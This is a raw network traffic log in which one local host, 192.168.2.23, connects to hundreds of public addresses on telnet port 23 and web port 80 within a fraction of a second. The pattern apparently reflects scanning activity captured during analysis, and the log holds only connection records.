Feb 4, 2025 18:17:40.420485020 CET	23	47076	147.244.110.124	192.168.2.23
Feb 4, 2025 18:17:40.420496941 CET	47076	23	192.168.2.23	145.89.231.166
Feb 4, 2025 18:17:40.420501947 CET	23	47076	219.145.5.232	192.168.2.23
Feb 4, 2025 18:17:40.420504093 CET	47076	23	192.168.2.23	124.167.125.25
Feb 4, 2025 18:17:40.420504093 CET	47076	23	192.168.2.23	89.177.48.32
Feb 4, 2025 18:17:40.420511961 CET	23	47076	25.191.82.140	192.168.2.23
Feb 4, 2025 18:17:40.420516014 CET	47076	23	192.168.2.23	168.135.116.157
Feb 4, 2025 18:17:40.420516968 CET	47076	23	192.168.2.23	77.62.19.26
Feb 4, 2025 18:17:40.420521021 CET	23	47076	88.236.181.190	192.168.2.23
Feb 4, 2025 18:17:40.420541048 CET	47076	23	192.168.2.23	219.145.5.232
Feb 4, 2025 18:17:40.420556068 CET	47076	23	192.168.2.23	88.236.181.190
Feb 4, 2025 18:17:40.420635939 CET	47076	23	192.168.2.23	147.244.110.124
Feb 4, 2025 18:17:40.420635939 CET	47076	23	192.168.2.23	25.191.82.140
Feb 4, 2025 18:17:40.420823097 CET	23	47076	146.81.117.157	192.168.2.23
Feb 4, 2025 18:17:40.420845985 CET	23	47076	39.131.253.50	192.168.2.23
Feb 4, 2025 18:17:40.420855045 CET	23	47076	51.207.68.224	192.168.2.23
Feb 4, 2025 18:17:40.420861006 CET	47076	23	192.168.2.23	146.81.117.157
Feb 4, 2025 18:17:40.420897007 CET	47076	23	192.168.2.23	51.207.68.224
Feb 4, 2025 18:17:40.420901060 CET	47076	23	192.168.2.23	39.131.253.50
Feb 4, 2025 18:17:40.420960903 CET	23	47076	64.6.109.121	192.168.2.23
Feb 4, 2025 18:17:40.420972109 CET	23	47076	171.196.112.10	192.168.2.23
Feb 4, 2025 18:17:40.420993090 CET	23	47076	118.171.160.137	192.168.2.23
Feb 4, 2025 18:17:40.421001911 CET	23	47076	186.245.144.160	192.168.2.23
Feb 4, 2025 18:17:40.421005964 CET	47076	23	192.168.2.23	64.6.109.121
Feb 4, 2025 18:17:40.421013117 CET	47076	23	192.168.2.23	171.196.112.10
Feb 4, 2025 18:17:40.421013117 CET	23	47076	23.149.81.38	192.168.2.23
Feb 4, 2025 18:17:40.421022892 CET	23	47076	87.162.145.206	192.168.2.23
Feb 4, 2025 18:17:40.421025038 CET	47076	23	192.168.2.23	118.171.160.137
Feb 4, 2025 18:17:40.421036005 CET	47076	23	192.168.2.23	186.245.144.160
Feb 4, 2025 18:17:40.421037912 CET	23	47076	79.189.245.193	192.168.2.23
Feb 4, 2025 18:17:40.421061993 CET	23	47076	123.108.58.34	192.168.2.23
Feb 4, 2025 18:17:40.421065092 CET	47076	23	192.168.2.23	87.162.145.206
Feb 4, 2025 18:17:40.421072960 CET	23	47076	187.248.163.218	192.168.2.23
Feb 4, 2025 18:17:40.421082020 CET	23	47076	67.72.105.40	192.168.2.23
Feb 4, 2025 18:17:40.421089888 CET	47076	23	192.168.2.23	79.189.245.193
Feb 4, 2025 18:17:40.421092987 CET	47076	23	192.168.2.23	23.149.81.38
Feb 4, 2025 18:17:40.421096087 CET	47076	23	192.168.2.23	187.248.163.218
Feb 4, 2025 18:17:40.421102047 CET	23	47076	98.167.40.239	192.168.2.23
Feb 4, 2025 18:17:40.421116114 CET	47076	23	192.168.2.23	123.108.58.34
Feb 4, 2025 18:17:40.421116114 CET	47076	23	192.168.2.23	67.72.105.40
Feb 4, 2025 18:17:40.421117067 CET	23	47076	48.90.205.29	192.168.2.23
Feb 4, 2025 18:17:40.421125889 CET	23	47076	147.197.166.232	192.168.2.23
Feb 4, 2025 18:17:40.421133995 CET	23	47076	5.192.36.61	192.168.2.23
Feb 4, 2025 18:17:40.421143055 CET	23	47076	75.174.120.255	192.168.2.23
Feb 4, 2025 18:17:40.421144009 CET	47076	23	192.168.2.23	98.167.40.239
Feb 4, 2025 18:17:40.421144009 CET	47076	23	192.168.2.23	48.90.205.29
Feb 4, 2025 18:17:40.421154976 CET	47076	23	192.168.2.23	147.197.166.232
Feb 4, 2025 18:17:40.421158075 CET	23	47076	43.236.88.237	192.168.2.23
Feb 4, 2025 18:17:40.421168089 CET	23	47076	111.254.11.220	192.168.2.23
Feb 4, 2025 18:17:40.421176910 CET	23	47076	197.118.145.224	192.168.2.23
Feb 4, 2025 18:17:40.421180964 CET	47076	23	192.168.2.23	5.192.36.61
Feb 4, 2025 18:17:40.421185017 CET	23	47076	139.225.250.237	192.168.2.23
Feb 4, 2025 18:17:40.421185970 CET	47076	23	192.168.2.23	75.174.120.255
Feb 4, 2025 18:17:40.421196938 CET	23	47076	79.143.218.216	192.168.2.23
Feb 4, 2025 18:17:40.421200037 CET	47076	23	192.168.2.23	111.254.11.220
Feb 4, 2025 18:17:40.421202898 CET	47076	23	192.168.2.23	43.236.88.237
Feb 4, 2025 18:17:40.421205997 CET	23	47076	168.240.212.147	192.168.2.23
Feb 4, 2025 18:17:40.421219110 CET	23	47076	176.247.16.203	192.168.2.23
Feb 4, 2025 18:17:40.421222925 CET	23	47076	63.93.19.104	192.168.2.23
Feb 4, 2025 18:17:40.421224117 CET	47076	23	192.168.2.23	139.225.250.237
Feb 4, 2025 18:17:40.421226978 CET	47076	23	192.168.2.23	197.118.145.224
Feb 4, 2025 18:17:40.421231985 CET	23	47076	40.140.84.142	192.168.2.23
Feb 4, 2025 18:17:40.421236038 CET	47076	23	192.168.2.23	79.143.218.216
Feb 4, 2025 18:17:40.421245098 CET	23	47076	75.66.110.101	192.168.2.23
Feb 4, 2025 18:17:40.421248913 CET	47076	23	192.168.2.23	168.240.212.147
Feb 4, 2025 18:17:40.421248913 CET	47076	23	192.168.2.23	176.247.16.203
Feb 4, 2025 18:17:40.421260118 CET	47076	23	192.168.2.23	40.140.84.142
Feb 4, 2025 18:17:40.421264887 CET	47076	23	192.168.2.23	63.93.19.104
Feb 4, 2025 18:17:40.421288013 CET	47076	23	192.168.2.23	75.66.110.101
Feb 4, 2025 18:17:40.421603918 CET	23	47076	178.86.234.80	192.168.2.23
Feb 4, 2025 18:17:40.421613932 CET	23	47076	159.62.93.215	192.168.2.23
Feb 4, 2025 18:17:40.421622038 CET	23	47076	94.102.186.204	192.168.2.23
Feb 4, 2025 18:17:40.421626091 CET	23	47076	79.94.124.205	192.168.2.23
Feb 4, 2025 18:17:40.421633005 CET	23	47076	75.142.240.165	192.168.2.23
Feb 4, 2025 18:17:40.421654940 CET	23	47076	39.219.133.181	192.168.2.23
Feb 4, 2025 18:17:40.421663046 CET	47076	23	192.168.2.23	159.62.93.215
Feb 4, 2025 18:17:40.421664953 CET	23	47076	171.117.49.151	192.168.2.23
Feb 4, 2025 18:17:40.421677113 CET	23	47076	204.36.46.66	192.168.2.23
Feb 4, 2025 18:17:40.421678066 CET	47076	23	192.168.2.23	94.102.186.204
Feb 4, 2025 18:17:40.421684980 CET	23	47076	151.249.186.101	192.168.2.23
Feb 4, 2025 18:17:40.421689987 CET	47076	23	192.168.2.23	75.142.240.165
Feb 4, 2025 18:17:40.421689987 CET	47076	23	192.168.2.23	79.94.124.205
Feb 4, 2025 18:17:40.421691895 CET	47076	23	192.168.2.23	39.219.133.181
Feb 4, 2025 18:17:40.421691895 CET	47076	23	192.168.2.23	171.117.49.151
Feb 4, 2025 18:17:40.421694040 CET	47076	23	192.168.2.23	204.36.46.66
Feb 4, 2025 18:17:40.421694994 CET	23	47076	186.104.189.228	192.168.2.23
Feb 4, 2025 18:17:40.421699047 CET	47076	23	192.168.2.23	178.86.234.80
Feb 4, 2025 18:17:40.421706915 CET	23	47076	126.56.93.131	192.168.2.23
Feb 4, 2025 18:17:40.421717882 CET	47076	23	192.168.2.23	151.249.186.101
Feb 4, 2025 18:17:40.421717882 CET	47076	23	192.168.2.23	186.104.189.228
Feb 4, 2025 18:17:40.421736002 CET	23	47076	58.3.121.103	192.168.2.23
Feb 4, 2025 18:17:40.421744108 CET	47076	23	192.168.2.23	126.56.93.131
Feb 4, 2025 18:17:40.421746016 CET	23	47076	150.131.67.111	192.168.2.23
Feb 4, 2025 18:17:40.421756029 CET	23	47076	78.186.17.114	192.168.2.23
Feb 4, 2025 18:17:40.421766996 CET	23	47076	122.146.66.87	192.168.2.23
Feb 4, 2025 18:17:40.421775103 CET	47076	23	192.168.2.23	58.3.121.103
Feb 4, 2025 18:17:40.421775103 CET	23	47076	202.103.152.210	192.168.2.23
Feb 4, 2025 18:17:40.421785116 CET	23	47076	136.114.96.6	192.168.2.23
Feb 4, 2025 18:17:40.421792984 CET	47076	23	192.168.2.23	78.186.17.114
Feb 4, 2025 18:17:40.421793938 CET	23	47076	99.28.185.94	192.168.2.23
Feb 4, 2025 18:17:40.421802044 CET	23	47076	61.59.216.16	192.168.2.23
Feb 4, 2025 18:17:40.421812057 CET	23	47076	148.237.162.194	192.168.2.23
Feb 4, 2025 18:17:40.421813965 CET	47076	23	192.168.2.23	202.103.152.210
Feb 4, 2025 18:17:40.421816111 CET	47076	23	192.168.2.23	150.131.67.111
Feb 4, 2025 18:17:40.421816111 CET	47076	23	192.168.2.23	122.146.66.87
Feb 4, 2025 18:17:40.421821117 CET	23	47076	187.151.20.66	192.168.2.23
Feb 4, 2025 18:17:40.421823025 CET	47076	23	192.168.2.23	136.114.96.6
Feb 4, 2025 18:17:40.421824932 CET	23	47076	199.161.97.67	192.168.2.23
Feb 4, 2025 18:17:40.421828985 CET	23	47076	137.12.120.114	192.168.2.23
Feb 4, 2025 18:17:40.421833038 CET	23	47076	58.157.43.21	192.168.2.23
Feb 4, 2025 18:17:40.421838045 CET	23	47076	196.45.79.101	192.168.2.23
Feb 4, 2025 18:17:40.421838045 CET	47076	23	192.168.2.23	99.28.185.94
Feb 4, 2025 18:17:40.421839952 CET	47076	23	192.168.2.23	61.59.216.16
Feb 4, 2025 18:17:40.421847105 CET	23	47076	68.180.21.119	192.168.2.23
Feb 4, 2025 18:17:40.421850920 CET	23	47076	111.87.226.1	192.168.2.23
Feb 4, 2025 18:17:40.421854019 CET	47076	23	192.168.2.23	148.237.162.194
Feb 4, 2025 18:17:40.421859026 CET	23	47076	212.82.54.66	192.168.2.23
Feb 4, 2025 18:17:40.421870947 CET	47076	23	192.168.2.23	137.12.120.114
Feb 4, 2025 18:17:40.421876907 CET	47076	23	192.168.2.23	68.180.21.119
Feb 4, 2025 18:17:40.421876907 CET	47076	23	192.168.2.23	196.45.79.101
Feb 4, 2025 18:17:40.421876907 CET	47076	23	192.168.2.23	199.161.97.67
Feb 4, 2025 18:17:40.421876907 CET	47076	23	192.168.2.23	58.157.43.21
Feb 4, 2025 18:17:40.421881914 CET	47076	23	192.168.2.23	187.151.20.66
Feb 4, 2025 18:17:40.421900034 CET	47076	23	192.168.2.23	212.82.54.66
Feb 4, 2025 18:17:40.421902895 CET	47076	23	192.168.2.23	111.87.226.1
Feb 4, 2025 18:17:40.422236919 CET	23	47076	169.160.58.252	192.168.2.23
Feb 4, 2025 18:17:40.422246933 CET	23	47076	77.90.155.221	192.168.2.23
Feb 4, 2025 18:17:40.422260046 CET	23	47076	212.185.167.26	192.168.2.23
Feb 4, 2025 18:17:40.422274113 CET	23	47076	184.152.123.208	192.168.2.23
Feb 4, 2025 18:17:40.422280073 CET	47076	23	192.168.2.23	169.160.58.252
Feb 4, 2025 18:17:40.422280073 CET	47076	23	192.168.2.23	77.90.155.221
Feb 4, 2025 18:17:40.422282934 CET	23	47076	204.38.243.183	192.168.2.23
Feb 4, 2025 18:17:40.422291994 CET	23	47076	31.81.195.110	192.168.2.23
Feb 4, 2025 18:17:40.422297001 CET	47076	23	192.168.2.23	212.185.167.26
Feb 4, 2025 18:17:40.422303915 CET	23	47076	146.207.83.169	192.168.2.23
Feb 4, 2025 18:17:40.422314882 CET	47076	23	192.168.2.23	184.152.123.208
Feb 4, 2025 18:17:40.422314882 CET	47076	23	192.168.2.23	204.38.243.183
Feb 4, 2025 18:17:40.422324896 CET	23	47076	54.197.44.61	192.168.2.23
Feb 4, 2025 18:17:40.422333956 CET	47076	23	192.168.2.23	146.207.83.169
Feb 4, 2025 18:17:40.422333956 CET	23	47076	187.17.193.166	192.168.2.23
Feb 4, 2025 18:17:40.422343016 CET	23	47076	186.185.71.242	192.168.2.23
Feb 4, 2025 18:17:40.422353029 CET	23	47076	194.253.61.81	192.168.2.23
Feb 4, 2025 18:17:40.422353983 CET	47076	23	192.168.2.23	54.197.44.61
Feb 4, 2025 18:17:40.422360897 CET	23	47076	183.72.190.60	192.168.2.23
Feb 4, 2025 18:17:40.422363997 CET	47076	23	192.168.2.23	187.17.193.166
Feb 4, 2025 18:17:40.422369957 CET	23	47076	221.111.188.6	192.168.2.23
Feb 4, 2025 18:17:40.422384977 CET	23	47076	190.170.156.96	192.168.2.23
Feb 4, 2025 18:17:40.422389030 CET	47076	23	192.168.2.23	194.253.61.81
Feb 4, 2025 18:17:40.422391891 CET	47076	23	192.168.2.23	186.185.71.242
Feb 4, 2025 18:17:40.422393084 CET	47076	23	192.168.2.23	31.81.195.110
Feb 4, 2025 18:17:40.422396898 CET	47076	23	192.168.2.23	183.72.190.60
Feb 4, 2025 18:17:40.422403097 CET	23	47076	136.21.161.91	192.168.2.23
Feb 4, 2025 18:17:40.422405005 CET	47076	23	192.168.2.23	221.111.188.6
Feb 4, 2025 18:17:40.422413111 CET	23	47076	43.115.97.174	192.168.2.23
Feb 4, 2025 18:17:40.422421932 CET	23	47076	205.143.104.191	192.168.2.23
Feb 4, 2025 18:17:40.422429085 CET	47076	23	192.168.2.23	190.170.156.96
Feb 4, 2025 18:17:40.422430038 CET	23	47076	181.200.67.43	192.168.2.23
Feb 4, 2025 18:17:40.422435045 CET	47076	23	192.168.2.23	136.21.161.91
Feb 4, 2025 18:17:40.422440052 CET	23	47076	13.83.160.157	192.168.2.23
Feb 4, 2025 18:17:40.422447920 CET	23	47076	57.82.3.245	192.168.2.23
Feb 4, 2025 18:17:40.422456980 CET	23	47076	205.159.4.76	192.168.2.23
Feb 4, 2025 18:17:40.422466040 CET	47076	23	192.168.2.23	43.115.97.174
Feb 4, 2025 18:17:40.422467947 CET	23	47076	101.120.236.47	192.168.2.23
Feb 4, 2025 18:17:40.422467947 CET	47076	23	192.168.2.23	205.143.104.191
Feb 4, 2025 18:17:40.422472000 CET	47076	23	192.168.2.23	181.200.67.43
Feb 4, 2025 18:17:40.422475100 CET	47076	23	192.168.2.23	13.83.160.157
Feb 4, 2025 18:17:40.422487974 CET	47076	23	192.168.2.23	57.82.3.245
Feb 4, 2025 18:17:40.422501087 CET	47076	23	192.168.2.23	205.159.4.76
Feb 4, 2025 18:17:40.422502041 CET	47076	23	192.168.2.23	101.120.236.47
Feb 4, 2025 18:17:40.424289942 CET	59666	40930	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:40.431921005 CET	55560	23	192.168.2.23	97.254.3.21
Feb 4, 2025 18:17:40.431921005 CET	45794	23	192.168.2.23	126.204.241.87
Feb 4, 2025 18:17:40.431925058 CET	39480	23	192.168.2.23	76.254.235.231
Feb 4, 2025 18:17:40.431926012 CET	59024	23	192.168.2.23	83.243.144.217
Feb 4, 2025 18:17:40.431921959 CET	44154	23	192.168.2.23	68.224.150.122
Feb 4, 2025 18:17:40.431921959 CET	54346	23	192.168.2.23	42.146.253.164
Feb 4, 2025 18:17:40.431931019 CET	35810	23	192.168.2.23	70.239.28.134
Feb 4, 2025 18:17:40.431931019 CET	57334	23	192.168.2.23	206.250.117.220
Feb 4, 2025 18:17:40.431936979 CET	41958	23	192.168.2.23	147.153.103.149
Feb 4, 2025 18:17:40.431940079 CET	47274	23	192.168.2.23	186.252.140.91
Feb 4, 2025 18:17:40.431940079 CET	44966	23	192.168.2.23	197.6.225.36
Feb 4, 2025 18:17:40.431943893 CET	34572	23	192.168.2.23	105.209.121.50
Feb 4, 2025 18:17:40.431952000 CET	43200	23	192.168.2.23	197.84.91.234
Feb 4, 2025 18:17:40.431952000 CET	35894	23	192.168.2.23	64.2.2.11
Feb 4, 2025 18:17:40.431952000 CET	42382	23	192.168.2.23	120.101.6.251
Feb 4, 2025 18:17:40.431952953 CET	35874	23	192.168.2.23	50.208.26.209
Feb 4, 2025 18:17:40.431953907 CET	45102	23	192.168.2.23	131.212.111.214
Feb 4, 2025 18:17:40.431956053 CET	56918	23	192.168.2.23	112.59.22.254
Feb 4, 2025 18:17:40.431956053 CET	38434	23	192.168.2.23	165.92.23.201
Feb 4, 2025 18:17:40.431962013 CET	49646	23	192.168.2.23	96.232.39.57
Feb 4, 2025 18:17:40.431962013 CET	38694	23	192.168.2.23	137.136.153.60
Feb 4, 2025 18:17:40.431962967 CET	59740	23	192.168.2.23	159.73.87.96
Feb 4, 2025 18:17:40.431963921 CET	51086	23	192.168.2.23	109.221.41.248
Feb 4, 2025 18:17:40.431966066 CET	45416	23	192.168.2.23	13.238.73.211
Feb 4, 2025 18:17:40.431966066 CET	38496	23	192.168.2.23	198.165.217.202
Feb 4, 2025 18:17:40.431963921 CET	58276	23	192.168.2.23	24.217.146.239
Feb 4, 2025 18:17:40.431972027 CET	37874	23	192.168.2.23	149.42.22.46
Feb 4, 2025 18:17:40.431972027 CET	50726	23	192.168.2.23	58.136.237.235
Feb 4, 2025 18:17:40.431974888 CET	48654	23	192.168.2.23	156.100.251.35
Feb 4, 2025 18:17:40.431976080 CET	33954	23	192.168.2.23	13.67.227.42
Feb 4, 2025 18:17:40.431979895 CET	56334	23	192.168.2.23	197.179.33.64
Feb 4, 2025 18:17:40.431979895 CET	54694	23	192.168.2.23	146.235.120.108
Feb 4, 2025 18:17:40.431984901 CET	50288	23	192.168.2.23	139.23.221.205
Feb 4, 2025 18:17:40.431984901 CET	40358	23	192.168.2.23	87.186.21.25
Feb 4, 2025 18:17:40.431988001 CET	49136	23	192.168.2.23	204.249.179.101
Feb 4, 2025 18:17:40.431988001 CET	46248	23	192.168.2.23	85.3.114.25
Feb 4, 2025 18:17:40.431989908 CET	40858	23	192.168.2.23	34.56.204.136
Feb 4, 2025 18:17:40.431993961 CET	50720	23	192.168.2.23	101.176.184.34
Feb 4, 2025 18:17:40.431996107 CET	45304	23	192.168.2.23	125.242.198.2
Feb 4, 2025 18:17:40.431996107 CET	46820	23	192.168.2.23	25.72.119.54
Feb 4, 2025 18:17:40.431996107 CET	57974	23	192.168.2.23	198.117.1.137
Feb 4, 2025 18:17:40.431997061 CET	46052	23	192.168.2.23	213.237.197.160
Feb 4, 2025 18:17:40.431997061 CET	50594	23	192.168.2.23	70.4.144.191
Feb 4, 2025 18:17:40.431997061 CET	49428	23	192.168.2.23	139.21.64.69
Feb 4, 2025 18:17:40.432003975 CET	33868	23	192.168.2.23	82.145.163.39
Feb 4, 2025 18:17:40.432007074 CET	36718	23	192.168.2.23	17.253.84.168
Feb 4, 2025 18:17:40.432007074 CET	36814	23	192.168.2.23	131.34.185.232
Feb 4, 2025 18:17:40.432009935 CET	50714	23	192.168.2.23	78.182.71.22
Feb 4, 2025 18:17:40.432009935 CET	33680	23	192.168.2.23	12.108.53.101
Feb 4, 2025 18:17:40.432009935 CET	56268	23	192.168.2.23	186.134.63.123
Feb 4, 2025 18:17:40.432009935 CET	59762	23	192.168.2.23	64.64.104.133
Feb 4, 2025 18:17:40.432009935 CET	50484	23	192.168.2.23	69.152.18.4
Feb 4, 2025 18:17:40.432009935 CET	44450	23	192.168.2.23	223.156.214.134
Feb 4, 2025 18:17:40.432015896 CET	33736	23	192.168.2.23	64.59.217.184
Feb 4, 2025 18:17:40.432018042 CET	39760	23	192.168.2.23	147.22.81.167
Feb 4, 2025 18:17:40.432018995 CET	36842	23	192.168.2.23	209.36.11.114
Feb 4, 2025 18:17:40.432022095 CET	33206	23	192.168.2.23	90.39.138.55
Feb 4, 2025 18:17:40.432024002 CET	46658	23	192.168.2.23	141.46.176.155
Feb 4, 2025 18:17:40.432029009 CET	38546	23	192.168.2.23	131.64.54.146
Feb 4, 2025 18:17:40.432030916 CET	52502	23	192.168.2.23	181.241.207.246
Feb 4, 2025 18:17:40.432032108 CET	46506	23	192.168.2.23	155.38.105.43
Feb 4, 2025 18:17:40.432030916 CET	39578	23	192.168.2.23	92.206.210.107
Feb 4, 2025 18:17:40.432032108 CET	50218	23	192.168.2.23	68.91.22.255
Feb 4, 2025 18:17:40.432032108 CET	47960	23	192.168.2.23	151.22.123.193
Feb 4, 2025 18:17:40.432030916 CET	42324	23	192.168.2.23	111.73.206.219
Feb 4, 2025 18:17:40.432033062 CET	35000	23	192.168.2.23	102.175.100.157
Feb 4, 2025 18:17:40.432040930 CET	52410	23	192.168.2.23	185.106.159.179
Feb 4, 2025 18:17:40.432040930 CET	45250	23	192.168.2.23	90.56.243.166
Feb 4, 2025 18:17:40.432044983 CET	55530	23	192.168.2.23	164.163.241.49
Feb 4, 2025 18:17:40.432045937 CET	33216	23	192.168.2.23	113.16.224.221
Feb 4, 2025 18:17:40.432048082 CET	59454	23	192.168.2.23	142.141.21.89
Feb 4, 2025 18:17:40.432053089 CET	43962	23	192.168.2.23	1.171.104.47
Feb 4, 2025 18:17:40.432053089 CET	50746	23	192.168.2.23	211.78.50.129
Feb 4, 2025 18:17:40.432053089 CET	34700	23	192.168.2.23	14.117.104.170
Feb 4, 2025 18:17:40.432055950 CET	39302	23	192.168.2.23	182.152.188.196
Feb 4, 2025 18:17:40.432060957 CET	33548	23	192.168.2.23	82.31.189.28
Feb 4, 2025 18:17:40.432064056 CET	43480	23	192.168.2.23	69.166.102.253
Feb 4, 2025 18:17:40.432061911 CET	47796	23	192.168.2.23	169.187.163.130
Feb 4, 2025 18:17:40.432061911 CET	39642	23	192.168.2.23	109.105.127.149
Feb 4, 2025 18:17:40.432064056 CET	35154	23	192.168.2.23	58.5.147.126
Feb 4, 2025 18:17:40.432074070 CET	46716	23	192.168.2.23	48.228.185.90
Feb 4, 2025 18:17:40.432081938 CET	57656	23	192.168.2.23	52.75.149.80
Feb 4, 2025 18:17:40.432087898 CET	54826	23	192.168.2.23	76.144.247.12
Feb 4, 2025 18:17:40.432089090 CET	41072	23	192.168.2.23	113.216.178.123
Feb 4, 2025 18:17:40.432087898 CET	50188	23	192.168.2.23	54.42.126.196
Feb 4, 2025 18:17:40.432090044 CET	40202	23	192.168.2.23	175.182.120.125
Feb 4, 2025 18:17:40.432087898 CET	34580	23	192.168.2.23	150.174.128.114
Feb 4, 2025 18:17:40.432090044 CET	55998	23	192.168.2.23	181.3.58.97
Feb 4, 2025 18:17:40.432090044 CET	49706	23	192.168.2.23	54.8.74.198
Feb 4, 2025 18:17:40.432090044 CET	35824	23	192.168.2.23	36.187.228.199
Feb 4, 2025 18:17:40.432090044 CET	57072	23	192.168.2.23	148.249.41.60
Feb 4, 2025 18:17:40.432090044 CET	49714	23	192.168.2.23	204.65.199.79
Feb 4, 2025 18:17:40.432095051 CET	52846	23	192.168.2.23	87.236.18.63
Feb 4, 2025 18:17:40.432095051 CET	45452	23	192.168.2.23	219.122.68.228
Feb 4, 2025 18:17:40.432096004 CET	40080	23	192.168.2.23	73.80.216.25
Feb 4, 2025 18:17:40.432099104 CET	35628	23	192.168.2.23	194.114.197.107
Feb 4, 2025 18:17:40.432101965 CET	49006	23	192.168.2.23	192.239.202.170
Feb 4, 2025 18:17:40.432101965 CET	36264	23	192.168.2.23	210.12.43.239
Feb 4, 2025 18:17:40.432106018 CET	54436	23	192.168.2.23	189.90.84.184
Feb 4, 2025 18:17:40.432106018 CET	43160	23	192.168.2.23	43.135.162.203
Feb 4, 2025 18:17:40.432106018 CET	33246	23	192.168.2.23	223.39.215.206
Feb 4, 2025 18:17:40.432106018 CET	33428	23	192.168.2.23	114.113.18.124
Feb 4, 2025 18:17:40.432106972 CET	56390	23	192.168.2.23	179.218.230.140
Feb 4, 2025 18:17:40.432111025 CET	52372	23	192.168.2.23	148.53.157.220
Feb 4, 2025 18:17:40.432111979 CET	58132	23	192.168.2.23	153.44.241.207
Feb 4, 2025 18:17:40.432111979 CET	41526	23	192.168.2.23	66.54.8.121
Feb 4, 2025 18:17:40.432111979 CET	48544	23	192.168.2.23	53.85.76.67
Feb 4, 2025 18:17:40.432111979 CET	35950	23	192.168.2.23	131.243.91.193
Feb 4, 2025 18:17:40.432113886 CET	41300	23	192.168.2.23	52.90.39.201
Feb 4, 2025 18:17:40.432113886 CET	59810	23	192.168.2.23	189.248.113.169
Feb 4, 2025 18:17:40.432113886 CET	36100	23	192.168.2.23	61.212.47.165
Feb 4, 2025 18:17:40.432113886 CET	40038	23	192.168.2.23	69.148.183.150
Feb 4, 2025 18:17:40.432118893 CET	49152	23	192.168.2.23	145.238.37.7
Feb 4, 2025 18:17:40.432128906 CET	55974	23	192.168.2.23	197.10.24.250
Feb 4, 2025 18:17:40.432128906 CET	34440	23	192.168.2.23	155.29.225.64
Feb 4, 2025 18:17:40.432128906 CET	42284	23	192.168.2.23	131.142.112.126
Feb 4, 2025 18:17:40.432128906 CET	34208	23	192.168.2.23	80.253.147.74
Feb 4, 2025 18:17:40.432130098 CET	37252	23	192.168.2.23	52.200.51.129
Feb 4, 2025 18:17:40.432132006 CET	35612	23	192.168.2.23	173.118.185.255
Feb 4, 2025 18:17:40.432132006 CET	59346	23	192.168.2.23	200.243.69.161
Feb 4, 2025 18:17:40.432132006 CET	36444	23	192.168.2.23	133.40.77.171
Feb 4, 2025 18:17:40.432132959 CET	37222	23	192.168.2.23	50.191.68.90
Feb 4, 2025 18:17:40.432136059 CET	52656	23	192.168.2.23	199.91.122.250
Feb 4, 2025 18:17:40.432135105 CET	40086	23	192.168.2.23	103.127.201.243
Feb 4, 2025 18:17:40.432141066 CET	59266	23	192.168.2.23	193.75.107.206
Feb 4, 2025 18:17:40.432171106 CET	52224	23	192.168.2.23	63.41.214.214
Feb 4, 2025 18:17:40.432190895 CET	48372	23	192.168.2.23	204.48.133.47
Feb 4, 2025 18:17:40.435910940 CET	42936	80	192.168.2.23	191.85.35.11
Feb 4, 2025 18:17:40.435920000 CET	52480	80	192.168.2.23	75.29.86.116
Feb 4, 2025 18:17:40.435926914 CET	37146	80	192.168.2.23	194.129.199.106
Feb 4, 2025 18:17:40.435930014 CET	56364	80	192.168.2.23	187.170.55.10
Feb 4, 2025 18:17:40.435930014 CET	48630	80	192.168.2.23	101.15.139.86
Feb 4, 2025 18:17:40.435930014 CET	49892	80	192.168.2.23	188.70.1.82
Feb 4, 2025 18:17:40.435931921 CET	54152	80	192.168.2.23	161.152.27.77
Feb 4, 2025 18:17:40.435941935 CET	40832	80	192.168.2.23	13.71.41.29
Feb 4, 2025 18:17:40.435944080 CET	47892	80	192.168.2.23	194.34.3.27
Feb 4, 2025 18:17:40.435950994 CET	50030	80	192.168.2.23	32.156.11.239
Feb 4, 2025 18:17:40.435956955 CET	55242	80	192.168.2.23	36.215.21.101
Feb 4, 2025 18:17:40.435959101 CET	35464	80	192.168.2.23	104.41.168.53
Feb 4, 2025 18:17:40.435960054 CET	44610	80	192.168.2.23	67.39.122.4
Feb 4, 2025 18:17:40.435959101 CET	45424	80	192.168.2.23	192.120.151.211
Feb 4, 2025 18:17:40.435960054 CET	50908	80	192.168.2.23	149.69.125.7
Feb 4, 2025 18:17:40.435960054 CET	58674	80	192.168.2.23	135.243.241.188
Feb 4, 2025 18:17:40.435960054 CET	41846	80	192.168.2.23	137.136.123.182
Feb 4, 2025 18:17:40.435964108 CET	34596	80	192.168.2.23	165.206.66.246
Feb 4, 2025 18:17:40.435964108 CET	58208	80	192.168.2.23	191.144.192.73
Feb 4, 2025 18:17:40.435964108 CET	52466	80	192.168.2.23	5.124.253.22
Feb 4, 2025 18:17:40.435965061 CET	55036	80	192.168.2.23	193.157.59.52
Feb 4, 2025 18:17:40.435966969 CET	36342	80	192.168.2.23	104.130.211.52
Feb 4, 2025 18:17:40.435966969 CET	35716	80	192.168.2.23	177.80.244.140
Feb 4, 2025 18:17:40.435966969 CET	45690	80	192.168.2.23	106.250.108.219
Feb 4, 2025 18:17:40.435966969 CET	48532	80	192.168.2.23	211.18.137.254
Feb 4, 2025 18:17:40.435976982 CET	51920	80	192.168.2.23	78.251.75.96
Feb 4, 2025 18:17:40.435976982 CET	35940	80	192.168.2.23	138.11.100.125
Feb 4, 2025 18:17:40.435982943 CET	44888	80	192.168.2.23	43.114.213.162
Feb 4, 2025 18:17:40.435982943 CET	55450	80	192.168.2.23	96.12.237.21
Feb 4, 2025 18:17:40.435986042 CET	53138	80	192.168.2.23	146.67.180.234
Feb 4, 2025 18:17:40.435986042 CET	48724	80	192.168.2.23	168.204.45.53
Feb 4, 2025 18:17:40.435986042 CET	58486	80	192.168.2.23	106.167.68.251
Feb 4, 2025 18:17:40.435986996 CET	55904	80	192.168.2.23	134.14.146.1
Feb 4, 2025 18:17:40.435990095 CET	52232	80	192.168.2.23	32.237.103.155
Feb 4, 2025 18:17:40.435991049 CET	52136	80	192.168.2.23	62.130.67.206
Feb 4, 2025 18:17:40.435991049 CET	49148	80	192.168.2.23	44.46.161.18
Feb 4, 2025 18:17:40.435992002 CET	58032	80	192.168.2.23	165.28.117.196
Feb 4, 2025 18:17:40.435992956 CET	48644	80	192.168.2.23	51.173.224.165
Feb 4, 2025 18:17:40.435992002 CET	58558	80	192.168.2.23	140.58.151.1
Feb 4, 2025 18:17:40.435992956 CET	49428	80	192.168.2.23	180.26.115.199
Feb 4, 2025 18:17:40.435992956 CET	37738	80	192.168.2.23	50.148.137.8
Feb 4, 2025 18:17:40.435998917 CET	54546	80	192.168.2.23	126.126.220.124
Feb 4, 2025 18:17:40.435998917 CET	41148	80	192.168.2.23	138.117.213.242
